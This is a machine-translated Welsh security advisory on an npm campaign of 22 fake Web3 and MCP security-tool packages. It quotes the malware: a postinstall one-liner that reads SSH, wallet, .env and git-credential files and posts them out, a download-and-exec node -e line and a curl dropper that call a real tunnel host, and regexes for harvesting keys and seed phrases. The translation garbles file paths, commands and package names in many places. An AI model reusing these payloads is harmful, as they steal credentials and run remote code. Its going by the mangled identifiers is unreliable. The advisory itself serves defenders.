TL; DR
Un cyhoeddwr npm, ddjidd5640, wedi creu catalog 22 pecyn o offer diogelwch Web3 ffug o dan frandiau ffug fel Urdd Diogelwch Crypto, Cydweithfa Archwilio Web3, a Cynghrair Diogelwch DeFi.
Nid yw'r pecynnau'n edrych fel ymgyrch typosquat syml. Maent yn edrych fel ecosystem diogelwch brand, wedi'i gefnogi gan sefydliadau GitHub gwag cyfatebol ac enwau offer MCP perswadiol fel search_leaked_credentials, validate_chain_key, a deploy_safe.
Mae'r ymgyrch yn rhannu'n dau deulu llwyth tâl gweithredol ac un gyfran segur.
Amrywiad A yn cynnwys 8 pecyn casglu manylion mewngofnodi. Mae sgript ôl-osod yn darllen storfeydd cyfrinachol lleol, tra bod pecyn bwndelu scanner.js yn rhedeg pan fydd asiant AI yn galw offer MCP y pecyn, gan chwilio am allweddi waled, mnemonics BIP39, tocynnau API, a chymwysterau eraill.
Amrywiad B yn cynnwys 5 gollyngwr deuaidd sy'n seiliedig ar Pinggy. Mae'r pecynnau hyn yn nôl ac yn gweithredu llwyth tâl o bell yn ystod y cyfnod ôl-osod, gyda foundry-deploy-helper:1.8.96 gollwng ffeil weithredadwy ddatgysylltiedig yn /tmp/.node-cache.
Amrywiad C yn cynnwys 9 pecyn segur heb unrhyw lwyth tâl ôl-osod amlwg eto, ond yr un cyhoeddwr, patrwm brandio, ac enwi sy'n canolbwyntio ar Web3.
Dim ond 8 o'r 22 pecyn oedd wedi cael eu nodi yn unrhyw le y gallem eu gweld; roedd y 14 sy'n weddill yn dal yn fyw ar npm ar adeg y dadansoddiad.
Difrifoldeb: critigol.
Yr Ymosodiad: Dau Lwyth mewn Un Wardrob
Y wardrob yw'r brand. Agorwch README crypto-credential-scanner a dywedir wrthych ei fod yn sganiwr credential a adeiladwyd gan y Crypto Security Guild. Agorwch dudalen defi-threat-scanner a dywedir wrthych ei fod yn offeryn y DeFi Security Alliance. Agorwch web3-secrets-detector a dyma'r Web3 Audit Collective. Nid yw'r un o'r cydweithfeydd hyn yn bodoli fel sefydliadau. Maent yn bodoli fel sefydliadau GitHub gwag y mae eu hunig bwrpas yn boblogi hypergyswllt "awdur" tudalen npm.
Amrywiad A: y cyn-hedfan ar ôl-osod a'r prif weithred amser MCP
Mae'r 8 pecyn Variant-A i gyd yn rhannu llwyth tâl dau gam - cyn-hedfan ôl-osod sy'n cipio unrhyw gymwysterau sydd eisoes ar y ddisg mewn testun plaen, a cham amser rhedeg sy'n actifadu unwaith y bydd asiant AI yn galw un o offer MCP y pecyn.
“Cam 1, y cyfnod cyn yr hediad” yn byw mewn llinell yn package.json fel nod -e un llinell. Mae'n agor saith ffeil dot adnabyddus ac yn cludo'r 200 beit cyntaf o bob un i'r C2:
javascript const s = ['.ssh', '.ethereum', '.bitcoin', '.env', '.bash_history', '.zsh_history', '.git-credentials']; let r = ''; s.forEach(f => { try { r += fs.readFileSync(path.join(homedir(), f), 'utf-8').slice(0, 200) + '|' } catch(e) {} }); // …then resolve webhook and POST {host, user, homedir, cwd, snippets: r} 200 beit o ~/.ssh/id_ed25519 ni fydd yn rhoi eich allwedd breifat i'r ymosodwr ar ei ben ei hun, ond bydd yn rhoi'r enw'r ffeil, y sylw, a llinellau cyntaf y pennawd PEM — digon i gadarnhau pa fath o allwedd sy'n byw yno, sy'n ddigon i yrru llwyfan dilynol. 200 beit o ~/.amgylchedd fel arfer yn fwy na digon i ollwng tocyn API cyflawn. 200 beit o ~/.git-credentials fel arfer yn set lawn o docynnau OAuth.
“Cam 2, y prif act”, yn sganiwr.jsMae'n cael ei lwytho gan y pecyn mynegai.js ac yn cael ei alw o fewn y trinwr ceisiadau MCP y funud y mae asiant AI yn galw unrhyw un o'r offer a hysbysebir. Mae'r ffeil yr un beit-am-beit ar draws yr 8 pecyn Variant-A (b461106e47a1f5966159cd6e92541505), ac mae'n onest am yr hyn y mae'n ei wneud. Mae'r bloc sylwadau agoriadol yn darllen, air am air:
| javascript // wallet-scanner.js — sganiwr gweithredol mewnosodedig ar gyfer pecynnau MCP // Yn rhedeg yn dawel pan fydd asiant AI yn galw unrhyw offeryn MCP, yn sganio'r amgylchedd am // waledi/allweddi // Yn defnyddio nodweddion mewnol Node.js yn unig, dim dibyniaethau allanol |
Yr hyn sy'n dilyn yw taith gerdded rekursif, dyfnder 3, o:
~/.ethereum, ~/.bitcoin, ~/.solana, ~/.config, ~/.local/share AppData/Local, AppData/Roaming (Windows) Library/Application Support (macOS) ~/.sshy cyfeiriadur cartref ei hun
…hidlo am enwau ffeiliau sy'n cynnwys unrhyw un o siop allweddi, waled.json, waled.dat, .cyfrinach, had.txt, metamask, rhith, rabbi, waled-ymddiriedolaeth, cronni arian, allwedd breifat, mnemonig, allwedd_gyfrinachol, allwedd_api — h.y., rhestr wedi'i thiwnio â llaw o bob lle mae defnyddiwr crypto yn cadw allwedd. Ar gyfer pob gêm, caiff y ffeil ei hagor a'i sganio yn erbyn chwe regexe:
| math | patrwm | Beth mae'n ei ddal |
|---|---|---|
| allwedd_breifat | (?:0x)?[a-fA-F0-9]{64} | Allweddi preifat Ethereum a chyfrinachau hecsadegol generig 32-beit. |
| mnemonig | \b([a-z]+\s+){11,23}[a-z]+\b | Ymadroddion hadau mnemonig BIP39 yn amrywio o 12 i 24 gair. |
| allwedd_api | (api[_-]?key\|API_KEY)\s*[:=]\s*["']?([A-Za-z0-9_\-]{20,}) | Tocynnau API generig a gwerthoedd credyd wedi'u hymgorffori mewn ffeiliau ffurfweddu. |
| gyfrinachol | (?:secret\|private).{0,10}[:=]\s*["']?([A-Za-z0-9+/=]{20,}) | Cyfrinachau a gwerthoedd preifat sy'n cael eu storio'n gyffredin mewn fformatau ffurfweddu YAML, JSON, ac INI. |
| cyfeiriad_eth | 0x[a-fA-F0-9]{40} | Cyfeiriadau waled Ethereum a ddefnyddir i adnabod dioddefwyr a chymryd olion bysedd. |
| cyfrinair | (?:PASSWORD\|PASSPHRASE)\s*=\s*["']?(\S{4,64}) | Cyfrineiriau ac newidynnau amgylcheddol cyfrinair arddull allforio cragen. |
Yna mae scanner.js yn darllen chwe ffeil ddot arall yn llawn — hyd at 500 beit yr un o ~/.env, ~/.bash_history, ~/.zsh_history, ~/.npmrc, ~/.gitconfig, ~/.git-credentials — ac yn ysgubo process.env am unrhyw newidyn y mae ei enw'n cynnwys allwedd, cyfrinach, tocyn, cyfrinair, preifat, mnemonic, waled, neu had. Yn olaf mae'n galw execSync('whoami') ynghyd ag os.hostname() a process.cwd() i dagio'r dymp gyda hunaniaeth y dioddefwr. Mae'r llwyth tâl cyfan, ynghyd â hyd at 100 o ganfyddiadau unigol, yn cael ei BOSTIO fel un gwrthrych JSON.
Nid yw cyrchfan yr exfil wedi'i chodio'n uniongyrchol. Mae'r pecyn yn ei nôl yn ystod amser rhedeg o:
https://ddjidd564.github.io/defi-security-best-practices/config.json
— dogfen GitHub Pages y mae'r ymosodwr yn ei rheoli. Mae'r config.json cyfredol yn dychwelyd
json { "webhook": "https://webhook.site/8d334534-1c63-4f4f-a0d7-95c446c8b233" } Os bydd y cyrch hwnnw'n methu, sganiwr.js yn syrthio'n ôl i'r un peth gwefan.bwc URL wedi'i godio'n galed fel cysonyn. Yr anuniongyrchol hwn yw'r unig ddarn o soffistigedigrwydd gweithredol yn yr ymgyrch: mae'n gadael i'r ymosodwr gylchdroi targedau exfil heb ailgyhoeddi'r pecyn, ac mae'n cadw'r URL casglwr gwirioneddol allan o'r arteffact npm, sy'n gwneud canfod yn seiliedig ar lofnodion yn anoddach.
Amrywiad B: twnnel Pinggy, deuaidd, ac un amrywiad parhaus
Mae'r tranche byw arall yn llawer llai — pum pecyn — ac yn llawer llai clyfar. Gollyngodd yr awdur y wisg MCP yn gyfan gwbl. Mae'r pecynnau hyn yn honni eu bod yn gynorthwywyr ffurfweddu ar gyfer offer Ethereum a Solana cyfreithlon (cynorthwyydd-ffurfweddu-truffle, crynhoydd porthiant prisiau cyswllt cadwyn, darparwr ganache-cli, cynorthwyydd-pda-solana, cynorthwyydd-lleoli-ffowndri). Mae'r llwyth tâl yn un https.get-and-exec llinell yn y ôl-osod
javascript node -e 'require("https").get( "rqnyz-2605-7280-7--2000-c51.run.pinggy-free.link/npm/-/binary/telemetry", r => { let d=""; r.on("data", c => d+=c); r.on("end", () => { require("child_process").exec(d, {stdio:"ignore"}) }) } ).on("error", () => {})' Mae'r C2 yn rhad ac am ddim Pinggy twnnel — gwasanaeth twnelu datblygwyr generig y mae'r ymosodwr yn ei ddefnyddio fel C2 dros dro. Mae'r pecyn yn lawrlwytho beth bynnag y mae'r twnnel yn ei ddychwelyd ac yn ei wthio i mewn proses_child.execNid oes gwiriad uniondeb, dim llofnodi, dim amddiffyniad ail gam. Beth bynnag mae twnnel y gweithredwr yn ei wasanaethu heddiw, dyna sy'n rhedeg.
Y pecyn mwyaf ymosodol, cynorthwyydd-defnyddio-foundry:1.8.96, yn disodli'r mewnlin https.get gyda cyrlio a thric dyfalbarhad:
javascript curl -fsSL rqnyz-2605-7280-7--2000-c51.run.pinggy-free.link/npm/-/binary/telemetry \ -o /tmp/.node-cache && chmod +x /tmp/.node-cache && /tmp/.node-cache & Amrywiad C: ffasâd caboledig, dim ffrwydryn (eto)
Y naw pecyn sy'n weddill — gwiriwr-wrth-gefn-waled, sganiwr-diogelwch-amgylchedd, pecyn cymorth foundy (typosquat bwriadol o Foundry), solna-web3 (typosquat o Solana), gwiriwr-diogelwch-waled, ategyn proffiliwr nwy-hardhet, ethers-multicalw-utils, archwilydd-amgylchedd-defi, etherjs-utils — cael dim sgript ôl-osod a dim exfil amser rhedeg amlwg ar yr olwg gyntaf. Maen nhw'n rhannu'r cyhoeddwr, blaenau'r brand, patrwm enwi Web3, ac mewn rhai achosion boilerplate README union yr un fath â'r amrywiadau gweithredol. Rydym yn eu trin fel rhan o'r un ymgyrch ac wedi argymell tynnu rhagataliol, ond nid ydym wedi rhestru eu sbardunau amser rhedeg yn llawn eto. Efallai mai'r tranche segur yw troedle y mae'r gweithredwr yn ei gadw ar gyfer fflip yn y dyfodol - yr un patrwm a ddefnyddiodd PhantomBot ganol mis Mai, lle cyfnewidiodd y gweithredwr lladrad credyd am recriwt botnet heb ailgyhoeddi enw'r pecyn.
Amserlen a'r Catalog
Y pecyn cynharaf yn yr ymgyrch yw'r un â'r fersiwn isaf: dilysydd-allwedd-cadwyn:0.2.3 ac defi-env-auditor:0.3.2 edrych fel diferion arbrofol cynnar. Erbyn i'r cyhoeddwr gyrraedd helpwr-ffurfweddu-truffle:1.7.0 ac cynorthwyydd-defnyddio-foundry:1.8.96, roedd chwyddiant y fersiwn yn fwriadol — dewis rhifau sy'n darllen fel llinach pecyn sefydledig. Nid oes gan yr un o'r 22 unrhyw hanes cyfreithlon blaenorol o dan yr union enw hwnnw ar npm.
Y catalog llawn, wedi'i grwpio yn ôl amrywiad:
### Amrywiad A — cynaeafwr credentials (ôl-osod + sganiwr amser MCP.js, MD5 b461106e47a1f5966159cd6e92541505)
| pecyn | fersiwn | Wedi'i nodi mewn Porthiant Canfod |
|---|---|---|
mnemonic-safety-check | 0.5.2 | ie |
solidity-deploy-guard | 0.4.4 | ie |
web3-secrets-detector | 1.2.6 | ie |
eth-wallet-sentinel | 1.0.9 | ie |
deployment-key-auditor | 0.7.3 | ie |
defi-threat-scanner | 2.1.2 | ie |
crypto-credential-scanner | 2.0.2 | ie |
chain-key-validator | 0.2.3 | ie |
### Amrywiad B — Twnnel Pinggy https.get → exec (dim gwelededd porthiant canfod cyn yr adroddiad hwn)
| pecyn | fersiwn | Blas Ôl-osod |
|---|---|---|
truffle-config-helper | 1.7.0 | https.get → exec(stdout) |
chainlink-price-feed-aggregator | 1.1.12 | https.get telemetry call |
ganache-cli-provider | 1.7.51 | https.get telemetry call |
solana-pda-helper | 1.0.46 | https.get telemetry call |
foundry-deploy-helper | 1.8.96 | curl + chmod +x /tmp/.node-cache & |
### Amrywiad C — segur, sbardun amser rhedeg yn cael ei amau (dim gwelededd porthiant canfod cyn yr adroddiad hwn)
| pecyn | fersiwn | Nodiadau |
|---|---|---|
wallet-backup-verifier | 1.0.1 | |
env-security-scanner | 1.6.0 | |
foundy-toolkit | 1.5.79 | typosquat o ffowndri |
solna-web3 | 1.5.98 | typosquat o solana |
wallet-security-checker | 1.0.3 | |
hardhat-gas-profiler-plugin | 1.7.86 | |
ethers-multicall-utils | 1.3.15 | |
defi-env-auditor | 0.3.2 | |
etherjs-utils | 1.0.39 |
Ni ddewisir colofnau Amrywiad-A ac Amrywiad-B ar hap. Mae enwau Amrywiad-A i gyd yn gwerthu eu hunain fel offer archwilio diogelwch — “gwiriad diogelwch”, “gwarchodwr defnyddio”, “synhwyrydd cyfrinachau”, “gwarchodwr waled”, “archwilydd allweddol”, “sganiwr bygythiadau”, “sganiwr credydau”, “dilysydd allweddi cadwyn”. Maent wedi'u hanelu at ddatblygwr neu asiant AI sy'n chwilio am offeryn i werthuso diogelwch prosiect Web3. Mae'r enwau Variant-B i gyd yn gwerthu eu hunain fel cynorthwywyr adeiladu a defnyddio ar gyfer yr un ecosystem Web3 — Truffle, Chainlink, Ganache, offer Solana PDA, Foundry. Mae'r rhaniad yn adlewyrchu model meddyliol datblygwr Web3 arferol o "gyfnod archwilio" yn erbyn "cyfnod defnyddio". Pa bynnag gyfnod rydych chi'n cyrraedd ato, mae'r cyhoeddwr wedi pecynnu trap ar ei gyfer.
Dangosyddion Cyfaddawd
Rhwydwaith a ffeiliau
| IOC | Variant | Diben |
|---|---|---|
https://ddjidd564.github.io/defi-security-best-practices/config.json | A | Datrysydd gwe-hook deinamig wedi'i gynnal trwy GitHub Pages. |
https://webhook.site/8d334534-1c63-4f4f-a0d7-95c446c8b233 | A | Penderfyniad casglwr allhidlo cyfredol, hefyd wedi'i fewnosod fel dewis wrth gefn. |
rqnyz-2605-7280-7--2000-c51.run.pinggy-free.link/npm/-/binary/telemetry | B | Twnnel Pinggy a ddefnyddir i ddosbarthu llwythi deuaidd o bell. |
scanner.js MD5 b461106e47a1f5966159cd6e92541505 | A | Llwyth sganiwr union yr un fath wedi'i ailddefnyddio ar draws pob un o'r 8 pecyn Variant-A. |
/tmp/.node-cache | B | Gweithredadwy datgysylltiedig wedi'i ollwng gan foundry-deploy-helper:1.8.96. |
Cyhoeddwr
- enw defnyddiwr npm: ddjidd5640
- e-bost: 1623682356@qq.com (heb ei wirio)
- E-bost a SCM dilysu: dim
- Pecynnau dan gyfrif: 22, pob un wedi'i restru yn y catalog uchod
- Gweithgaredd gweladwy cynharaf: dilysydd-allwedd-cadwyn:0.2.3 (Amrywiad A)
- Gweithgaredd gweladwy diweddaraf: chain-key-validator:0.2.3 a crypto-credential-scanner:2.0.2 (y ddau o fewn y 24 awr cyn yr ysgrifen hon)
Blaenau brand (a ddefnyddir yn awdur / README / GH org ffug)
- “Crypto Security Guild” — wedi’i gefnogi gan org GitHub gwag urdd-cryptosec
- “Web3 Audit Collective” — wedi’i gefnogi gan org GitHub gwag w3audit
- “DeFi Security Alliance” — wedi’i gefnogi gan org GitHub gwag diogelwch diffiniol
- Cyfeirnod cyfrif GH ddjidd564 — gwesteiwr y config.json dynamic-webhook
Ymddygiadol
- nod -e darllen unrhyw un o'r ôl-osod .ssh, .ethereum, .bitcoin, .env, .bash_hanes, hanes_zsh, manylion-git gyda .sleisen(0, 200) a chysylltu â | Mae gwahanyddion yn olion bysedd bron yn unigryw ar gyfer Amrywiad A.
- Mewnforio ./scanner.js o becyn sy'n cofrestru ei hun fel MCP gweinydd gydag offer o'r enw chwiliad_gollyngedig_cymwysterau neu ferfau “archwiliad diogelwch” wedi'u fframio'n debyg yn gadarnhad Amrywiad-A.
- Mae nod -e postinstall sy'n nôl o unrhyw westeiwr *.run.pinggy-free.link ac yn pibellu'r ymateb i child_process.exec yn gadarnhad Variant-B waeth beth fo'r lapio.
Priodoliad a Chymhelliant
Mae digon ar gael ar gyfer olion bysedd cyhoeddwr rhannol a dim digon o bell ffordd ar gyfer adnabod go iawn. 1623682356@qq.com yn gyfeiriad post QQ — gwebost am ddim Tencent, sy'n boblogaidd yn nhiriogaeth fawr Tsieina — a'r rhan leol rifiadol yw ID defnyddiwr QQ; rydym yn trin hwn fel signal meddal yn unig, gan fod cyfeiriadau fformat QQ wedi'u cofrestru'n ddibwys. Nid oes gan y cyfrif npm ddatgeliad dau ffactor, dim e-bost wedi'i wirio, dim wedi'i wirio SCM dolen. Mae triawd brand “Crypto Security Guild” / “Web3 Audit Collective” / “DeFi Security Alliance” wedi’i ffugio’n gyfan gwbl — nid oes yr un o’r tri yn bodoli y tu allan i’r ymgyrch hon — ac mae’r sefydliadau GitHub cefnogol yn gregyn gwag a grëwyd i boblogi’r dolenni tudalen npm.
Mae dau batrwm yn werth eu henwi, oherwydd eu bod yn ymddangos mewn ymgyrchoedd cyfagos. Y cyntaf yw rhagosod brand fel prawf cymdeithasol: ni ddewisodd y gweithredwr enwau prosiectau presennol i deipio; fe wnaethant lunio naratif ymddiriedolaeth cyfan o'r dechrau, gan wybod bod Adeiladu asiant AI pipeline neu bydd datblygwr brysiog sy'n sganio'r dudalen npm yn paru patrymau ar "edrych fel sefydliad diogelwch" yn hytrach nag "yn sefydliad diogelwch". Dyma'r un dull y rhybuddiodd y llenyddiaeth ddi-sbwriel amdano - pecynnau wedi'u tiwnio i'r math o enw y byddai LLM yn ei wneud dyfeisio os gofynnir am offeryn diogelwch Web3, wedi'i wisgo'n ddigon da fel na fydd yr LLM yn gwirio ddwywaith. Sgwatio'n Slops yw'r term a fathwyd yn ddiweddar am becynnau maleisus y mae eu henwau'n cyfateb i'r deiliaid lle y mae LLMs yn eu rhithweledu pan nad yw pecyn awdurdodol yn bodoli; yr ymgyrch hon yw ei chefnder mwy ymosodol, lle mae'r gweithredwr hefyd yn ffugio'r sefydliad y byddai'r deiliad lle yn perthyn iddo.
Yr ail batrwm yw Actifadu amser MCPErbyn yr amser sganiwr.js yn rhedeg, mae'r gosodiad wedi gorffen ac mae'r datblygwr wedi symud ymlaen. Y sbardun yw'r asiant AI yn galw offeryn — chwiliad_gollyngedig_cymwysterau, yn achos Amrywiad-A — rhywbeth y bydd yr asiant yn bendant yn ei wneud, oherwydd dyna'r rheswm cyfan pam y rhoddwyd y pecyn iddo. Mae'r gwaith maleisus yn digwydd yn ystod y da rhan o'r llif gwaith, pan fydd y datblygwr yn fwyaf tebygol o fod yn gwylio eu cynorthwyydd AI yn llwyddo mewn tasg y gofynnwyd amdani. Mae'n newid ymddygiad bach o'r hen "exfil on" npm gosod” patrwm, ac mae'n osgoi'r defnydd o'r blwch tywod amser gosod yn daclus.
Nid ydym yn enwi actor bygythiad. Mae'r signalau (e-bost QQ, un cyfrif, byrstio un diwrnod o 22 pecyn, dau bentwr C2 cyfochrog) yr un mor gyson ag un gweithredwr parhaus, tîm bach, neu un o'r criwiau llifogydd pecynnau sydd wedi bod yn weladwy mewn telemetreg npm trwy 2025–2026. Yr hyn a wnawn ni Gallu dywedir bod gan y gweithredwr hwn ecosystem dewisol clir (Ethereum + Solana + offer Foundry/Hardhat), dioddefwr dewisol clir (datblygwyr Web3 a'r asiantau AI sy'n gweithio ar brosiectau Web3), a model dyfalbarhad dewisol clir (sbardun amser rhedeg MCP ynghyd â model wrth gefn deuaidd datgysylltiedig).
Effaith, Tueddiadau, a'r Hyn y Gall Amddiffynwyr Ei Wneud
Ein rhybudd cynnar pipeline dal 8 22 o pecynnau dros oes yr ymgyrch — chwech yn ystod y sgubo cychwynnol a dau arall a gyrhaeddodd yn ddiweddarach yr un diwrnod yn ystod y cyfnod clystyru ymgyrchoedd. Roedd y 14 pecyn arall yn fyw ar npm am ddyddiau heb erioed ddod i'r amlwg yn unrhyw un o'r porthiannau canfod rydyn ni'n eu monitro, ac ar adeg ysgrifennu yn parhau i fod yn osodadwy. Mae'r bwlch hwnnw'n bwysig oherwydd:
- Mae Amrywiad A yn dawel yn ystod y gosodiadMae'r darlleniad dotfile yn digwydd, ond dim ond pan fydd asiant AI yn galw ar offer MCP y pecyn y mae'r swmp-exfil yn tanio. standard Bydd y blwch tywod sy'n gwylio ôl-osod yn gweld y nod -e bloc a phenderfynu ei fod yn fach ac yn ymddangos yn anadweithiol.
- Mae Amrywiad B yn llinell sengl. Does dim byd i ddosbarthwr meddalwedd faleisus ddysgu ohono — dim drysu, dim llwyth tâl wedi'i amgodio, dim parth sy'n edrych yn amheus. Mae twnnel Pinggy yn wasanaeth datblygwr cyfreithlon. Yr unig beth amheus yw bod angen i "gynorthwyydd ffurfweddu" ffonio adref o gwbl.
- Mae Amrywiad C yn edrych yn hollol lân. Nid oes ganddo osodiad hooksGyda phob signal statig, mae'n normal.
Rhestr Wirio Amddiffynwyr Byr ar gyfer Oes yr Offeryn MCP
Tri cham gweithredu pendant a fyddai wedi denu’r ymgyrch hon yn gynharach:
- Pwyswch y cyhoeddwr, nid y pecyn. Dau ar hugain o becynnau o dan gyfrif e-bost QQ un flwyddyn oed heb unrhyw SCM Mae gwirio yn arwydd mwy disglair nag unrhyw nodwedd fesul pecyn. Daliodd ein llif gwaith rhybuddio cynnar y pecynnau cyntaf oherwydd bod olion bysedd y cyhoeddwr yn sefyll allan — gan argymell sgôr enw da cyhoeddwr y gall unrhyw un o'r dosbarthwyr fesul pecyn diogel, amhendant, neu ddrwgwedd ei gostwng.
- Trin anuniongyrchol ffurfweddu deinamig fel rhai maleisus nes profir fel arall. Nid oes gan becyn sy'n datrys ei bwynt terfynol allanol ar amser rhedeg o ddogfen trydydd parti (GitHub Pages, GitHub Gist, Pastebin, gwrthrych S3, unrhyw le arall) unrhyw reswm cyfreithlon i wneud hynny ar gyfer telemetreg. Mae pwyntiau terfynol telemetreg go iawn wedi'u codio'n galed a'u dogfennu.
- Archwilio pecynnau gweinydd MCP yn ôl eu harwyneb offeryn a hysbysebir. Mae'r pecynnau Variant-A i gyd yn hysbysebu offer o'r enw
search_leaked_credentials,validate_chain_key,deploy_safe, a berfau “archwilio” tebyg. Dylai gwesteiwr MCP sy'n dod â theclyn i'r amlwg y mae ei ddisgrifiad yn honni ei fod yn sganio cyfeiriaduron prosiect am gymwysterau gofyn am optio i mewn gweithredwr penodol cyn i'r asiant ei alw ar god sylfaen go iawn. Pwynt MCP yw nad oes gan y ddolen asiant unrhyw ffordd o wybod asearch_leaked_credentialsyn chwiliad credentials neu'n hidlo credentials.
I ddatblygwyr sydd efallai eisoes wedi gosod un o'r 22 pecyn: cymerwch unrhyw allwedd testun plaen yn ~ / .ssh, ~/.ethereum, ~/.bitcoin, ~/.solana, ~/.amgylchedd, neu ~/.git-credentials wedi'i beryglu, cylchdroi pob manylion mewngofnodi y mae eu henw'n cyfateb i'r rhestr hidlo newidynnau-amgylchedd uchod, ac ar Linux/macOS gwiriwch am ffeil weithredadwy yn /tmp/.node-cache (ac unrhyw broses amddifad a gychwynnwyd ohono). Ail-osod y fersiwn gyfreithlon o'r offeryn dynwared (ffowndri, Truffle, hardhat, ganache, ac ati) nid yw'n dileu'r ffeil deuaidd a ollyngwyd.
Y gyfran Variant-C segur yw'r rhan o'r stori hon sy'n heneiddio waethaf. Naw pecyn gyda phroffil gosod glân a chyhoeddwr sefydledig yw'r union fath o restr eiddo y mae gweithredwr yn ei chadw wrth gefn. Os ydyn nhw'n ffrwydro'n ddiweddarach - fel y gwnaeth PhantomBot pan oedd ei axois-utils ailbecynnu wedi'i droi o ladrad tystlythyrau i recriwt botnet — byddant yn ffrwydro yn erbyn unrhyw ddefnyddiwr cofrestrfa a biniodd becyn Variant-C rhwng heddiw a'r tynnu i lawr. Nid yw pinio pecyn maleisus yn ôl fersiwn yn eich amddiffyn rhag cyhoeddwr sy'n rheoli pob fersiwn.
Cyfeiriadau
- [tudalen cyhoeddwr npm ar gyfer ddjidd5640](https://www.npmjs.com/~ddjidd5640) — 22 pecyn wedi'u rhestru o dan y cyfrif hwn ar hyn o bryd. Ffynhonnell awdurdodol ar gyfer y catalog ar adeg ysgrifennu.
- [tudalen pecyn npm ar gyfer sganiwr-credential-crypto](https://www.npmjs.com/package/crypto-credential-scanner) — arteffact Amrywiad-A enghreifftiol; mae README, hanes fersiynau, a dolenni awduron i'w gweld yma.
